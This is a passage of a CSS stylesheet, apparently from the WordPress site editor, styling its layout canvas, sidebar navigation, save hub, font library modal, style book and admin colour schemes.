    box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;
    overflow:hidden;
  }
}
@media (min-width:782px) and (not (prefers-reduced-motion)){
  .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{
    transition:border-radius,box-shadow .4s;
  }
}
@media (min-width:782px){
  .edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{
    border-radius:8px;
  }
  .edit-site-layout__canvas .edit-site-resizable-frame__inner-content:hover{
    box-shadow:0 5px 15px #00000014,0 15px 27px #00000012,0 30px 36px #0000000a,0 50px 43px #00000005;
  }
}
.edit-site-layout.is-full-canvas .edit-site-layout__canvas{
  bottom:0;
  top:0;
  width:100%;
}

.edit-site-layout__canvas .interface-interface-skeleton,.edit-site-layout__mobile .interface-interface-skeleton,.edit-site-template-pages-preview .interface-interface-skeleton{
  min-height:100% !important;
  position:relative !important;
}

.edit-site-template-pages-preview{
  height:100%;
}
html.canvas-mode-edit-transition::view-transition-group(toggle){
  animation-delay:255ms;
}

@media (prefers-reduced-motion){
  ::view-transition-group(*),::view-transition-new(*),::view-transition-old(*){
    animation:none !important;
  }
}
.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region .edit-site-layout__view-mode-toggle{
  display:none;
}

.edit-site-layout__view-mode-toggle.components-button{
  view-transition-name:toggle;
  align-items:center;
  background:#1e1e1e;
  border-radius:0;
  color:#fff;
  display:flex;
  height:60px;
  justify-content:center;
  overflow:hidden;
  padding:0;
  position:relative;
  width:60px;
}
.edit-site-layout__view-mode-toggle.components-button:active,.edit-site-layout__view-mode-toggle.components-button:hover{
  color:#fff;
}
.edit-site-layout__view-mode-toggle.components-button:focus,.edit-site-layout__view-mode-toggle.components-button:focus-visible{
  box-shadow:0 0 0 3px #1e1e1e, 0 0 0 6px var(--wp-admin-theme-color);
  outline:4px solid #0000;
  outline-offset:4px;
}
.edit-site-layout__view-mode-toggle.components-button:before{
  border-radius:4px;
  bottom:9px;
  box-shadow:none;
  content:"";
  display:block;
  left:9px;
  position:absolute;
  right:9px;
  top:9px;
}
@media not (prefers-reduced-motion){
  .edit-site-layout__view-mode-toggle.components-button:before{
    transition:box-shadow .1s ease;
  }
}
.edit-site-layout__view-mode-toggle.components-button .edit-site-layout__view-mode-toggle-icon{
  align-items:center;
  display:flex;
  height:60px;
  justify-content:center;
  width:60px;
}

.edit-site-layout__actions{
  background:#fff;
  bottom:auto;
  color:#1e1e1e;
  left:auto;
  position:fixed !important;
  right:0;
  top:-9999em;
  width:280px;
  z-index:100000;
}
.edit-site-layout__actions:focus,.edit-site-layout__actions:focus-within{
  bottom:0;
  top:auto;
}
.edit-site-layout__actions.is-entity-save-view-open:focus,.edit-site-layout__actions.is-entity-save-view-open:focus-within{
  top:0;
}
@media (min-width:782px){
  .edit-site-layout__actions{
    border-left:1px solid #ddd;
  }
}

.edit-site-layout__area{
  box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;
  flex-grow:1;
  margin:0;
  overflow:hidden;
}
@media (min-width:782px){
  .edit-site-layout__area{
    border-radius:8px;
    margin:16px 16px 16px 0;
  }
}

.edit-site .components-editor-notices__snackbar{
  bottom:16px;
  padding-left:16px;
  padding-right:16px;
  position:fixed;
  right:0;
}

.edit-site-save-hub{
  border-top:1px solid #2f2f2f;
  color:#949494;
  flex-shrink:0;
  margin:0;
  padding:16px;
}

.edit-site-save-hub__button{
  color:inherit;
  justify-content:center;
  width:100%;
}
.edit-site-save-hub__button[aria-disabled=true]{
  opacity:1;
}
.edit-site-save-hub__button[aria-disabled=true]:hover{
  color:inherit;
}
.edit-site-save-hub__button:not(.is-primary).is-busy,.edit-site-save-hub__button:not(.is-primary).is-busy[aria-disabled=true]:hover{
  color:#1e1e1e;
}

@media (min-width:600px){
  .edit-site-save-panel__modal{
    width:600px;
  }
}

.edit-site-sidebar__content{
  contain:content;
  flex-grow:1;
  overflow-x:hidden;
  overflow-y:auto;
}

@keyframes _x51ri_slide-from-right{
  0%{
    opacity:0;
    transform:translateX(50px);
  }
  to{
    opacity:1;
    transform:none;
  }
}
@keyframes _x51ri_slide-from-left{
  0%{
    opacity:0;
    transform:translateX(-50px);
  }
  to{
    opacity:1;
    transform:none;
  }
}
.edit-site-sidebar__screen-wrapper{
  animation-duration:.14s;
  animation-timing-function:ease-in-out;
  display:flex;
  flex-direction:column;
  height:100%;
  max-height:100%;
  overflow-x:auto;
  padding:0 12px;
  scrollbar-color:#0000 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-gutter:stable;
  scrollbar-width:thin;
  will-change:transform;
  will-change:transform, opacity;
}
.edit-site-sidebar__screen-wrapper::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-track{
  background-color:initial;
}
.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:initial;
  border:3px solid #0000;
  border-radius:8px;
}
.edit-site-sidebar__screen-wrapper:focus-within::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:focus::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:hover::-webkit-scrollbar-thumb{
  background-color:#757575;
}
.edit-site-sidebar__screen-wrapper:focus,.edit-site-sidebar__screen-wrapper:focus-within,.edit-site-sidebar__screen-wrapper:hover{
  scrollbar-color:#757575 #0000;
}
@media (hover:none){
  .edit-site-sidebar__screen-wrapper{
    scrollbar-color:#757575 #0000;
  }
}
@media (prefers-reduced-motion:reduce){
  .edit-site-sidebar__screen-wrapper{
    animation-duration:0s;
  }
}
.edit-site-sidebar__screen-wrapper.slide-from-left{
  animation-name:_x51ri_slide-from-left;
}
.edit-site-sidebar__screen-wrapper.slide-from-right{
  animation-name:_x51ri_slide-from-right;
}

.edit-site-sidebar-button{
  color:#e0e0e0;
  flex-shrink:0;
}
.edit-site-sidebar-button:focus:not(:disabled){
  box-shadow:none;
  outline:none;
}
.edit-site-sidebar-button:focus-visible:not(:disabled){
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:3px solid #0000;
}
.edit-site-sidebar-button:focus,.edit-site-sidebar-button:focus-visible,.edit-site-sidebar-button:hover:not(:disabled,[aria-disabled=true]),.edit-site-sidebar-button:not(:disabled,[aria-disabled=true]):active,.edit-site-sidebar-button[aria-expanded=true]{
  color:#f0f0f0;
}

.edit-site-sidebar-navigation-item.components-item{
  border:none;
  color:#949494;
  min-height:40px;
  padding:8px 6px 8px 16px;
}
.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-item.components-item[aria-current=true]{
  color:#e0e0e0;
}
.edit-site-sidebar-navigation-item.components-item:focus .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item:hover .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item[aria-current=true] .edit-site-sidebar-navigation-item__drilldown-indicator{
  fill:#e0e0e0;
}
.edit-site-sidebar-navigation-item.components-item[aria-current=true]{
  background:#2f2f2f;
  color:#fff;
  font-weight:500;
}
.edit-site-sidebar-navigation-item.components-item:focus-visible{
  transform:translateZ(0);
}
.edit-site-sidebar-navigation-item.components-item .edit-site-sidebar-navigation-item__drilldown-indicator{
  fill:#949494;
}
.edit-site-sidebar-navigation-item.components-item.with-suffix{
  padding-right:16px;
}

.edit-site-sidebar-navigation-screen__content .block-editor-list-view-block-select-button{
  cursor:grab;
  padding:8px 8px 8px 0;
}

.edit-site-sidebar-navigation-screen{
  display:flex;
  flex-direction:column;
  overflow-x:unset !important;
  position:relative;
}

.edit-site-sidebar-navigation-screen__main{
  flex-grow:1;
  margin-bottom:16px;
}
.edit-site-sidebar-navigation-screen__main.has-footer{
  margin-bottom:0;
}

.edit-site-sidebar-navigation-screen__content{
  padding:0 16px;
}
.edit-site-sidebar-navigation-screen__content .components-text{
  color:#ccc;
}
.edit-site-sidebar-navigation-screen__content .components-heading{
  margin-bottom:8px;
}

.edit-site-sidebar-navigation-screen__title-icon{
  background:#1e1e1e;
  margin-bottom:8px;
  padding-bottom:8px;
  padding-top:48px;
  position:sticky;
  top:0;
  z-index:1;
}

.edit-site-sidebar-navigation-screen__title{
  flex-grow:1;
  overflow-wrap:break-word;
}
.edit-site-sidebar-navigation-screen__title.edit-site-sidebar-navigation-screen__title,.edit-site-sidebar-navigation-screen__title.edit-site-sidebar-navigation-screen__title .edit-site-sidebar-navigation-screen__title{
  line-height:32px;
}

.edit-site-sidebar-navigation-screen__actions{
  display:flex;
  flex-shrink:0;
}

@media (min-width:782px){
  .edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variation-container{
    max-width:292px;
  }
}

.edit-site-global-styles-variation-title{
  color:#ddd;
  font-size:11px;
  font-weight:500;
  text-transform:uppercase;
}

.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{
  outline-color:#ffffff0d;
}
.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item:not(.is-active):hover .edit-site-global-styles-variations_item-preview{
  outline-color:#ffffff26;
}
.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview{
  outline-color:#fff;
}
.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item:focus-visible .edit-site-global-styles-variations_item-preview{
  outline-color:var(--wp-admin-theme-color);
}

.edit-site-sidebar-navigation-screen__footer{
  background-color:#1e1e1e;
  border-top:1px solid #2f2f2f;
  bottom:0;
  gap:0;
  margin:16px 0 0;
  padding:8px 16px;
  position:sticky;
}
.edit-site-sidebar-navigation-screen__footer .edit-site-sidebar-navigation-screen-details-footer{
  margin-left:-16px;
  margin-right:-16px;
}
.edit-site-sidebar-navigation-screen__input-control{
  width:100%;
}
.edit-site-sidebar-navigation-screen__input-control .components-input-control__container{
  background:#2f2f2f;
}
.edit-site-sidebar-navigation-screen__input-control .components-input-control__container .components-button{
  color:#e0e0e0 !important;
}
.edit-site-sidebar-navigation-screen__input-control .components-input-control__input{
  background:#2f2f2f !important;
  color:#e0e0e0 !important;
}
.edit-site-sidebar-navigation-screen__input-control .components-input-control__backdrop{
  border:4px !important;
}
.edit-site-sidebar-navigation-screen__input-control .components-base-control__help{
  color:#949494;
}

.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item[aria-current]{
  background:none;
}

.sidebar-navigation__more-menu .components-button{
  color:#e0e0e0;
}
.sidebar-navigation__more-menu .components-button:focus,.sidebar-navigation__more-menu .components-button:hover,.sidebar-navigation__more-menu .components-button[aria-current]{
  color:#f0f0f0;
}

.edit-site-sidebar-navigation-screen-patterns__group{
  margin-bottom:24px;
  margin-left:-16px;
  margin-right:-16px;
}
.edit-site-sidebar-navigation-screen-patterns__group:last-of-type{
  border-bottom:0;
  margin-bottom:0;
  padding-bottom:0;
}

.edit-site-sidebar-navigation-screen-patterns__group-header{
  margin-top:16px;
}
.edit-site-sidebar-navigation-screen-patterns__group-header p{
  color:#949494;
}
.edit-site-sidebar-navigation-screen-patterns__group-header h2{
  font-size:11px;
  font-weight:500;
  text-transform:uppercase;
}

.edit-site-sidebar-navigation-screen-patterns__divider{
  border-top:1px solid #2f2f2f;
  margin:16px 0;
}

.edit-site-sidebar-navigation-screen__description{
  margin:0 0 32px;
}

.edit-site-sidebar-navigation-screen-navigation-menus{
  margin-left:-16px;
  margin-right:-16px;
}

.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block__contents-cell{
  width:100%;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block-contents{
  white-space:normal;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__title{
  margin-top:3px;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu-cell{
  padding-right:0;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button{
  color:#949494;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button:hover,.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button[aria-current]{
  color:#fff;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu{
  color:#949494;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu:hover{
  color:#fff;
}

.edit-site-sidebar-navigation-screen-navigation-menus__loading.components-spinner{
  display:block;
  margin-left:auto;
  margin-right:auto;
}

.edit-site-sidebar-navigation-screen-navigation-menus__helper-block-editor{
  display:none;
}

.edit-site-sidebar-navigation-screen-main,.edit-site-sidebar-navigation-screen-templates-browse{
  margin-left:-16px;
  margin-right:-16px;
}

.edit-site-sidebar-navigation-screen-dataviews__group-header{
  margin-top:32px;
}
.edit-site-sidebar-navigation-screen-dataviews__group-header h2{
  font-size:11px;
  font-weight:500;
  text-transform:uppercase;
}

.edit-site-sidebar-dataviews{
  margin-left:-16px;
  margin-right:-16px;
}

.edit-site-sidebar-navigation-screen-dataviews__custom-items .edit-site-sidebar-dataviews-dataview-item{
  padding-right:8px;
}

.edit-site-sidebar-dataviews-dataview-item{
  border-radius:2px;
}
.edit-site-sidebar-dataviews-dataview-item .edit-site-sidebar-dataviews-dataview-item__dropdown-menu{
  min-width:auto;
}
.edit-site-sidebar-dataviews-dataview-item:focus,.edit-site-sidebar-dataviews-dataview-item:hover,.edit-site-sidebar-dataviews-dataview-item[aria-current]{
  color:#e0e0e0;
}
.edit-site-sidebar-dataviews-dataview-item.is-selected{
  background:#2f2f2f;
  color:#fff;
  font-weight:500;
}

.edit-site-site-hub{
  align-items:center;
  display:flex;
  gap:8px;
  height:60px;
  justify-content:space-between;
  margin-right:12px;
}

.edit-site-site-hub__actions{
  flex-shrink:0;
}

.edit-site-site-hub__view-mode-toggle-container{
  flex-shrink:0;
  height:60px;
  width:60px;
}
.edit-site-site-hub__view-mode-toggle-container.has-transparent-background .edit-site-layout__view-mode-toggle-icon{
  background:#0000;
}

.edit-site-site-hub__title .components-button{
  color:#e0e0e0;
  display:block;
  flex-grow:1;
  font-size:15px;
  font-weight:500;
  margin-left:-4px;
  overflow:hidden;
  padding-right:16px;
  position:relative;
  text-decoration:none;
  text-overflow:ellipsis;
  white-space:nowrap;
}
.edit-site-site-hub__title .components-button:active,.edit-site-site-hub__title .components-button:focus,.edit-site-site-hub__title .components-button:hover{
  color:#e0e0e0;
}
.edit-site-site-hub__title .components-button:focus{
  box-shadow:none;
  outline:none;
}
.edit-site-site-hub__title .components-button:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #1e1e1e, 0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);
  outline:2px solid #0000;
  outline-offset:2px;
}
.edit-site-site-hub__title .components-button:after{
  content:"↗";
  font-weight:400;
  opacity:0;
  position:absolute;
  right:0;
}
@media not (prefers-reduced-motion){
  .edit-site-site-hub__title .components-button:after{
    transition:opacity .1s linear;
  }
}
.edit-site-site-hub__title .components-button:active:after,.edit-site-site-hub__title .components-button:focus:after,.edit-site-site-hub__title .components-button:hover:after{
  opacity:1;
}

.edit-site-site-hub_toggle-command-center{
  color:#e0e0e0;
}
.edit-site-site-hub_toggle-command-center:active svg,.edit-site-site-hub_toggle-command-center:hover svg{
  fill:#f0f0f0;
}

.edit-site-site-icon__icon{
  fill:currentColor;
  height:100%;
  width:100%;
}
.edit-site-layout.is-full-canvas .edit-site-site-icon__icon{
  padding:12px;
}

.edit-site-site-icon__image{
  aspect-ratio:1/1;
  background:#333;
  height:100%;
  object-fit:cover;
  width:100%;
}
.edit-site-layout.is-full-canvas .edit-site-site-icon__image{
  border-radius:0;
}

.edit-site-editor__view-mode-toggle button:focus{
  position:relative;
}
.edit-site-editor__view-mode-toggle button:focus:before{
  bottom:0;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 calc(1px + var(--wp-admin-border-width-focus)) #fff;
  content:"";
  display:block;
  left:0;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}

.edit-site-style-book{
  align-items:stretch;
  display:flex;
  flex-direction:column;
  height:100%;
}
.edit-site-style-book.is-button{
  border-radius:8px;
}

.edit-site-style-book__iframe{
  display:block;
  height:100%;
  width:100%;
}
.edit-site-style-book__iframe.is-button{
  border-radius:8px;
}
.edit-site-style-book__iframe.is-focused{
  outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color);
  outline-offset:calc(var(--wp-admin-border-width-focus)*-2);
}

.edit-site-style-book__tablist-container{
  background:#fff;
  display:flex;
  flex:none;
  padding-right:56px;
  width:100%;
}

.edit-site-style-book__tabpanel{
  flex:1 0 auto;
  overflow:auto;
}

.edit-site-editor-canvas-container{
  background-color:#ddd;
  height:100%;
}
.edit-site-editor-canvas-container iframe{
  display:block;
  height:100%;
  width:100%;
}
.edit-site-layout.is-full-canvas .edit-site-editor-canvas-container{
  padding:24px 24px 0;
}

.edit-site-editor-canvas-container__section{
  background:#fff;
  border-radius:8px;
  bottom:0;
  left:0;
  overflow:hidden;
  position:absolute;
  right:0;
  top:0;
}
@media not (prefers-reduced-motion){
  .edit-site-editor-canvas-container__section{
    transition:all .3s;
  }
}

.edit-site-editor-canvas-container__close-button{
  background:#fff;
  position:absolute;
  right:8px;
  top:8px;
  z-index:2;
}

.edit-site-post-edit{
  padding:24px;
}
.edit-site-post-edit.is-empty .edit-site-page-content{
  align-items:center;
  display:flex;
  justify-content:center;
}

.dataforms-layouts-panel__field-dropdown .fields-controls__password{
  border-top:1px solid #e0e0e0;
  padding-top:16px;
}

.edit-site-post-list__featured-image{
  height:100%;
  object-fit:cover;
  width:100%;
}

.edit-site-post-list__featured-image-wrapper{
  border-radius:4px;
  height:100%;
  width:100%;
}
.edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)){
  background-color:#f0f0f0;
  border-radius:4px;
  display:block;
  flex-grow:0 !important;
  height:32px;
  overflow:hidden;
  position:relative;
  width:32px;
}
.edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button:after,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)):after{
  border-radius:4px;
  box-shadow:inset 0 0 0 1px #0000001a;
  content:"";
  height:100%;
  left:0;
  position:absolute;
  top:0;
  width:100%;
}

.edit-site-post-list__featured-image-button{
  background-color:unset;
  border:none;
  border-radius:4px;
  box-shadow:none;
  box-sizing:border-box;
  cursor:pointer;
  height:100%;
  overflow:hidden;
  padding:0;
  width:100%;
}
.edit-site-post-list__featured-image-button:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}

.dataviews-view-grid__card.is-selected .edit-site-post-list__featured-image-button:after{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}

.edit-site-post-list__status-icon{
  height:24px;
  width:24px;
}
.edit-site-post-list__status-icon svg{
  fill:currentColor;
  margin-left:-4px;
}

.edit-site-resizable-frame__inner{
  position:relative;
}
body:has(.edit-site-resizable-frame__inner.is-resizing){
  cursor:col-resize;
  user-select:none;
  -webkit-user-select:none;
}

.edit-site-resizable-frame__inner.is-resizing:before{
  content:"";
  inset:0;
  position:absolute;
  z-index:1;
}

.edit-site-resizable-frame__inner-content{
  inset:0;
  position:absolute;
  z-index:0;
}

.edit-site-resizable-frame__handle{
  align-items:center;
  background-color:#75757566;
  border:0;
  border-radius:4px;
  cursor:col-resize;
  display:flex;
  height:64px;
  justify-content:flex-end;
  padding:0;
  position:absolute;
  top:calc(50% - 32px);
  width:4px;
  z-index:100;
}
.edit-site-resizable-frame__handle:before{
  content:"";
  height:100%;
  left:100%;
  position:absolute;
  width:32px;
}
.edit-site-resizable-frame__handle:after{
  content:"";
  height:100%;
  position:absolute;
  right:100%;
  width:32px;
}
.edit-site-resizable-frame__handle:focus-visible{
  outline:2px solid #0000;
}
.edit-site-resizable-frame__handle.is-resizing,.edit-site-resizable-frame__handle:focus,.edit-site-resizable-frame__handle:hover{
  background-color:var(--wp-admin-theme-color);
}

.edit-site-push-changes-to-global-styles-control .components-button{
  justify-content:center;
  width:100%;
}

@media (min-width:782px){
  .font-library-modal.font-library-modal{
    width:65vw;
  }
}
.font-library-modal .components-modal__header{
  border-bottom:none;
}
.font-library-modal .components-modal__content{
  margin-bottom:70px;
  padding-top:0;
}
.font-library-modal .font-library-modal__subtitle{
  font-size:11px;
  font-weight:500;
  text-transform:uppercase;
}
.font-library-modal .components-navigator-screen{
  padding:3px;
}

.font-library-modal__tabpanel-layout{
  margin-top:32px;
}
.font-library-modal__tabpanel-layout .font-library-modal__loading{
  align-items:center;
  display:flex;
  height:100%;
  justify-content:center;
  left:0;
  padding-top:120px;
  position:absolute;
  top:0;
  width:100%;
}

.font-library-modal__footer{
  background-color:#fff;
  border-top:1px solid #ddd;
  bottom:32px;
  height:70px;
  margin:0 -32px -32px;
  padding:16px 32px;
  position:absolute;
  width:100%;
}

.font-library-modal__page-selection{
  font-size:11px;
  font-weight:500;
  text-transform:uppercase;
}
@media (min-width:600px){
  .font-library-modal__page-selection .components-select-control__input{
    font-size:11px !important;
    font-weight:500;
  }
}

.font-library-modal__tabpanel-layout .components-base-control__field{
  margin-bottom:0;
}

.font-library-modal__fonts-title{
  font-size:11px;
  font-weight:600;
  text-transform:uppercase;
}

.font-library-modal__fonts-list,.font-library-modal__fonts-title{
  margin-bottom:0;
  margin-top:0;
}

.font-library-modal__fonts-list-item{
  margin-bottom:0;
}

.font-library-modal__font-card{
  border:1px solid #e0e0e0;
  height:auto !important;
  margin-top:-1px;
  padding:16px;
  width:100%;
}
.font-library-modal__font-card:hover{
  background-color:#f0f0f0;
}
.font-library-modal__font-card .font-library-modal__font-card__name{
  font-weight:700;
}
.font-library-modal__font-card .font-library-modal__font-card__count{
  color:#757575;
}
.font-library-modal__font-card .font-library-modal__font-variant_demo-image{
  display:block;
  height:24px;
  width:auto;
}
.font-library-modal__font-card .font-library-modal__font-variant_demo-text{
  flex-shrink:0;
  white-space:nowrap;
}
@media not (prefers-reduced-motion){
  .font-library-modal__font-card .font-library-modal__font-variant_demo-text{
    transition:opacity .3s ease-in-out;
  }
}

.font-library-modal__font-variant{
  border-bottom:1px solid #e0e0e0;
  padding-bottom:16px;
}

.font-library-modal__tablist-container{
  background:#fff;
  border-bottom:1px solid #ddd;
  margin:0 -32px;
  padding:0 16px;
  position:sticky;
  top:0;
  z-index:1;
}
.font-library-modal__tablist-container [role=tablist]{
  margin-bottom:-1px;
}

.font-library-modal__upload-area{
  align-items:center;
  display:flex;
  height:256px !important;
  justify-content:center;
  width:100%;
}

button.font-library-modal__upload-area{
  background-color:#f0f0f0;
}

.font-library-modal__local-fonts{
  margin:0 auto;
  width:80%;
}
.font-library-modal__local-fonts .font-library-modal__upload-area__text{
  color:#757575;
}

.font-library__google-fonts-confirm{
  align-items:center;
  display:flex;
  justify-content:center;
  margin-top:64px;
}
.font-library__google-fonts-confirm p{
  line-height:1.4;
}
.font-library__google-fonts-confirm h2{
  font-size:1.2rem;
  font-weight:400;
}
.font-library__google-fonts-confirm .components-card{
  padding:16px;
  width:400px;
}
.font-library__google-fonts-confirm .components-button{
  justify-content:center;
  width:100%;
}

.font-library-modal__select-all{
  padding:16px 16px 16px 17px;
}
.font-library-modal__select-all .components-checkbox-control__label{
  padding-left:16px;
}

.edit-site-pagination .components-button.is-tertiary{
  height:32px;
  justify-content:center;
  width:32px;
}

.edit-site-global-styles-variations_item{
  box-sizing:border-box;
  cursor:pointer;
}
.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{
  border-radius:2px;
  outline:1px solid #0000001a;
  outline-offset:-1px;
  overflow:hidden;
  position:relative;
}
@media not (prefers-reduced-motion){
  .edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{
    transition:outline .1s linear;
  }
}
.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview.is-pill{
  height:32px;
}
.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview.is-pill .block-editor-iframe__scale-container{
  overflow:hidden;
}
.edit-site-global-styles-variations_item:not(.is-active):hover .edit-site-global-styles-variations_item-preview{
  outline-color:#0000004d;
}
.edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview,.edit-site-global-styles-variations_item:focus-visible .edit-site-global-styles-variations_item-preview{
  outline-color:#1e1e1e;
  outline-offset:1px;
  outline-width:var(--wp-admin-border-width-focus);
}
.edit-site-global-styles-variations_item:focus-visible .edit-site-global-styles-variations_item-preview{
  outline-color:var(--wp-admin-theme-color);
}

.edit-site-styles .edit-site-page-content .edit-site-global-styles-screen-root{
  box-shadow:none;
}
.edit-site-styles .edit-site-page-content .edit-site-global-styles-screen-root>div>hr{
  display:none;
}
.edit-site-styles .edit-site-page-content .edit-site-global-styles-sidebar__navigator-provider{
  overflow-y:auto;
  padding-left:0;
  padding-right:0;
}
.edit-site-styles .edit-site-page-content .edit-site-global-styles-sidebar__navigator-provider .components-tools-panel{
  border-top:none;
}
.edit-site-styles .edit-site-page-content .edit-site-global-styles-sidebar__navigator-provider .edit-site-global-styles-sidebar__navigator-screen{
  outline:none;
  padding:12px;
}
.edit-site-styles .edit-site-page-content .edit-site-page-header{
  padding-left:48px;
  padding-right:48px;
}
@container (max-width: 430px){
  .edit-site-styles .edit-site-page-content .edit-site-page-header{
    padding-left:24px;
    padding-right:24px;
  }
}
.edit-site-styles .edit-site-page-content .edit-site-sidebar-button{
  color:#1e1e1e;
}

.show-icon-labels .edit-site-styles .edit-site-page-content .edit-site-page-header__actions .components-button.has-icon{
  padding:0 8px;
  width:auto;
}
.show-icon-labels .edit-site-styles .edit-site-page-content .edit-site-page-header__actions .components-button.has-icon svg{
  display:none;
}
.show-icon-labels .edit-site-styles .edit-site-page-content .edit-site-page-header__actions .components-button.has-icon:after{
  content:attr(aria-label);
  font-size:12px;
}
::view-transition-image-pair(root){
  isolation:auto;
}

::view-transition-new(root),::view-transition-old(root){
  animation:none;
  display:block;
  mix-blend-mode:normal;
}
body.js #wpadminbar{
  display:none;
}

body.js #wpbody{
  padding-top:0;
}

body.js.appearance_page_gutenberg-template-parts,body.js.site-editor-php{
  background:#fff;
}
body.js.appearance_page_gutenberg-template-parts #wpcontent,body.js.site-editor-php #wpcontent{
  padding-left:0;
}
body.js.appearance_page_gutenberg-template-parts #wpbody-content,body.js.site-editor-php #wpbody-content{
  padding-bottom:0;
}
body.js.appearance_page_gutenberg-template-parts #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.appearance_page_gutenberg-template-parts #wpfooter,body.js.site-editor-php #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.site-editor-php #wpfooter{
  display:none;
}
body.js.appearance_page_gutenberg-template-parts .a11y-speak-region,body.js.site-editor-php .a11y-speak-region{
  left:-1px;
  top:-1px;
}
body.js.appearance_page_gutenberg-template-parts ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-template-parts ul#adminmenu>li.current>a.current:after,body.js.site-editor-php ul#adminmenu a.wp-has-current-submenu:after,body.js.site-editor-php ul#adminmenu>li.current>a.current:after{
  border-right-color:#fff;
}
body.js.appearance_page_gutenberg-template-parts .media-frame select.attachment-filters:last-of-type,body.js.site-editor-php .media-frame select.attachment-filters:last-of-type{
  max-width:100%;
  width:auto;
}

body.js.site-editor-php{
  background:#1e1e1e;
}

.edit-site{
  box-sizing:border-box;
  height:100vh;
}
.edit-site *,.edit-site :after,.edit-site :before{
  box-sizing:inherit;
}
@media (min-width:600px){
  .edit-site{
    bottom:0;
    left:0;
    min-height:100vh;
    position:fixed;
    right:0;
    top:0;
  }
}
.no-js .edit-site{
  min-height:0;
  position:static;
}
.edit-site .interface-interface-skeleton{
  top:0;
}

body.admin-color-light{
  --wp-admin-theme-color:#0085ba;
  --wp-admin-theme-color--rgb:0, 133, 186;
  --wp-admin-theme-color-darker-10:#0073a1;
  --wp-admin-theme-color-darker-10--rgb:0, 115, 161;
  --wp-admin-theme-color-darker-20:#006187;
  --wp-admin-theme-color-darker-20--rgb:0, 97, 135;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-light{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-modern{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-modern{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-blue{
  --wp-admin-theme-color:#096484;
